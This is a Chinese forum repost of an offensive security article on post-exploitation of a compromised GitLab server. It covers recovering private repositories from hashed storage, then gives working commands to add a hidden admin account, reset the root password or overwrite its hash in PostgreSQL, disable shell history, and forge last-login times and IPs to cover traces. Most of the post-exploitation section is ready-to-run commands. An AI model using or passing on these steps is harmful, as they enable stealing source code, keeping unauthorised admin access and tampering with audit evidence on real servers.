社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

gitlab数据恢复与后渗透

渗透安全团队 • 2 月前 • 74 次点击  

gitlab数据恢复与后渗透

前言

平常渗透实战中,经常遇到gitlab或者gitea之类的私有仓库,需要对其进行数据恢复,进而后续审计代码,或者搜集开发的IP等个人信息,故有了此文章。

查资料阶段

根据官网文档可知 https://docs.gitlab.cn/jh/administration/repository_storage_types.html

它采用hash存储方式,存储在@hashed中,根据项目ID顶级文件夹名前两个字符hash和子文件夹的接下来两个字符hash生成。

文档中的默认路径:/var/opt/gitlab/git-data/repositories/@hashed/

所以我们只需要打包它即可。

再接着看文档,根据 哈希路径到项目名称 这段的描述 我们可以从控制台获取hashed对应的projectid和项目名。或者直接从.git目录中的config文件中获取。

打开config文件,找到 [gitlab] 下的 fullpath= 键。

另一种方法,直接从Rails控制台恢复。官方提供的语句如下

ProjectRepository.find_by(disk_path: '@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9').project

经过查看,我们可以直接循环遍历ProjectRepository,然后获取hash路径和项目名。

ProjectRepository.all.each do |p|
    proj = p.project
    puts(format("disk_path: %s, proj_name: %s", proj.disk_path,
proj.inspect))
end

这部分ruby语句很清晰,就是each循环遍历ProjectRepository格式化输出项目名和路径。

本来是想直接调用lijiejie师傅的GitHack进行恢复的,但是发现.git结构里面没有index暂存区文件。无法进行下一步遍历objects,zlib解压文件。

后来翻阅大量资料,git set 的hard命令可以重设index和working tree,所有改变都会被丢弃,包括文件的修改、新增、删除等操作,并把HEAD指向

再根据这个文章可知。我们可以直接将.git的裸仓库转换为非裸仓库,并将当前工作目录重置为最新的提交状态。

https://stackoverflow.com/questions/67699/how-do-i-clone-all-remote-branches/13575102#13575102

mkdir repo
cd repo
git clone --bare path/to/repo.git .git
# git clone -bare http://github.com/test.git .git
git config --unset core.bare
git reset --hard

所以现在的思路就是写脚本批量遍历所有的.git文件,根据hash中的config在本地创建proj_name,然后执行config和set这两条命令进行恢复代码。这个代码是包含所有分支的!!!

代码中遇到的bug就不说了,直接后台回复gitlab即可获取代码。

后渗透

修改密码(三种方法)

1、添加管理员账户

echo 'user=User.new;user.name="test";user.username="test";user.password="echo123456";user.password_confirmation="echo123456";user.email="test@example.com";user.access_level="admin";user.confirmed_at = Time.zone.now;user.save!' | gitlab-rails console

2、重置管理员密码

1.这里网上说在强调需要root进入容器然后才能进控制台,我这边反弹的shell git用户权限也可以直接进入控制台。使用以下命令启动Ruby on Rails控制台  
gitlab-rails console -e production

2.等待一段时间,控制台加载完毕,有多种找到用户的方法,您可以搜索电子邮件或用户名。  
user = User.where(id: 1).first //由于管理员用户root为第一个用户,因此用户id为1;

3.现在更改密码,注意,必须同时更改密码和password_confirmation才能使其正常工作。  
user.password = '新密码'  
user.password_confirmation = '新密码'

4.最后别忘了保存更改。  
user.save

3、替换数据库数据

Bcrypt加密的,大概率解密不出来,只能替换了。

1.切换到gitlab用户
su - gitlab-psql

2.设置命令记录
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

3.连接数据库
psql -h /var/opt/gitlab/postgresql -d gitlabhq_production

4.更新密码
UPDATE users SET encrypted_password= '$2y$10$WhpIuDXpSwCUMEf./c7wR.ogrPGJQmzFxtfexpWqSw2fIoOvxrPCq' WHERE id = 1;

5.查询相关信息,便于对IP和登录时间进行恢复
select * from user where id=1;

痕迹清理

1、密码进行恢复

2、IP和登录时间进行恢复

3、nginx日志清理,数据库操作日志清理。

......

update users SET last_sign_in_at= '2024-02-05 07:56:29.365595' WHERE id = 1;

update users SET current_sign_in_ip= '8.8.8.8' WHERE id = 1;


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/171971
 
74 次点击